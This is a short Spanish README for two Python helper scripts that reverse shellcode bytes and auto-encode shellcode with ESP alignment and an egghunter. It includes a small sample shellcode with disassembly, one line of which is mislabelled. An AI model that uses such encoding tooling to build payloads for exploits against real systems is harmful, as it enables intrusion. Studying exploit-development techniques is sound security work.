Este herramienta se basa en el script custom.c
invertirHex.py
- Despues de obtener los bytes de la shellcode desde el debugger estos debes ser divisibles por 4 de no ser asi se puede rellenar con algunos bytes como 41h, 90h etc.
8BC4 MOV EAX,EBP
53 PUSH EBX
50 PUSH EAX
53 PUSH EBX
B8 DED83B77 MOV EAX,
FF D0 CALL EAX
- EJ: 8B C4 53 50 53 B8 DE D8 3B 77 FF D0 aplicar a cada byte "\x" -> \x8B\xC4\x53\x50\x53\xB8\xDE\xD8\x3B\x77\xFF\xD0
$ python invertirHex.py
Invertir Hexadecimal: \x8B\xC4\x53\x50\x53\xB8\xDE\xD8\x3B\x77\xFF\xD0
Resultado: \x50\x53\xc4\x8b\xd8\xde\xb8\x53\xd0\xff\x77\x3b
autoEncode.py
- Descripcion: Calcula las direcciones de memoria basado en restas además realiza un auto alineacion del registro ESP y xor EAX,EAX. Despues crea un archivo donde contiene distintas shellcode para ser usadas como para aplicar directamente al debugger o a un script.
- Auto hunter (se crea un calculo basado en el egghunter T00W)
- Manual hunter (aqui debe ingresar los byte hexadecimal de la shellcode personalizada)
$ python autoEncode.py
Usado para calcular \x50\x53\xc4\x8b\xd8\xde\xb8\x53\xd0\xff\x77\x3b